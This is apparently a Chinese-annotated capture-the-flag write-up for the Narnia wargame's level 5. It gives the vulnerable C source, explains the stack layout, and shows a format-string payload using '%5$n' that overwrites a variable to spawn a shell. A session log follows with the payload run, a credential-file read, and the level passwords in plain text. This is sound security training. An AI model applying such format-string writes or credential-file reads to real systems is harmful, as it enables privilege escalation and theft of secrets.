narnia5
/** narnia5.c */
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
栈环境
格式化漏洞，在调用snprintf之前栈环境如上图所示，
第一个参数为buffer的地址 这里为0xffffd01c
第二个参数为buffer的长度 这里为0x40 既64字节
第三个参数为格式化串的地址 这里为0xffffd2f5
我们输入的格式化串为 python -c 'print "\xcc\xd5\xff\xff" + "%496x" + "%5$n"'
本来按照snprintf的格式， 格式化串后面应该带两个参数的， 一个是整型值， 对应%496x， 另一个是指向整型值的指针，对应%5$n
这样就可以解释为： 把i的地址0xffffd5cc输入到buffer中， 把图中argument 1的值以16进制的形式输出，并且补足496字节，这样snprintf就输出了500字节
虽然只有64字节填入buffer中， 并且把snprintf输出的总字节数，既500写入到第五个argument指针指向的值处，第五个argument就是buffer的首地址
内容是i的地址， 最终就是把i的值改为500
root@today:~# ssh [email protected] [email protected]'s password: faimahchiy narnia5@melinda:~$ cd /tmp/shadowcoder5 narnia5@melinda:/tmp/shadowcoder5$ ls narnia5 narnia5.c sleep.sh narnia5@melinda:/tmp/shadowcoder5$ /narnia/narnia5 `python -c 'print "\xff\xff\xff\xff" + "%496x" + "%5$n"'` Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [���� �] (34) i = 1 (0xffffd5cc) narnia5@melinda:/tmp/shadowcoder5$ /narnia/narnia5 `python -c 'print "\xcc\xd5\xff\xff" + "%496x" + "%5$n"'` Change i's value from 1 -> 500. GOOD $ whoami narnia6 $ cat /etc/narnia_pass/narnia6 neezocaeng $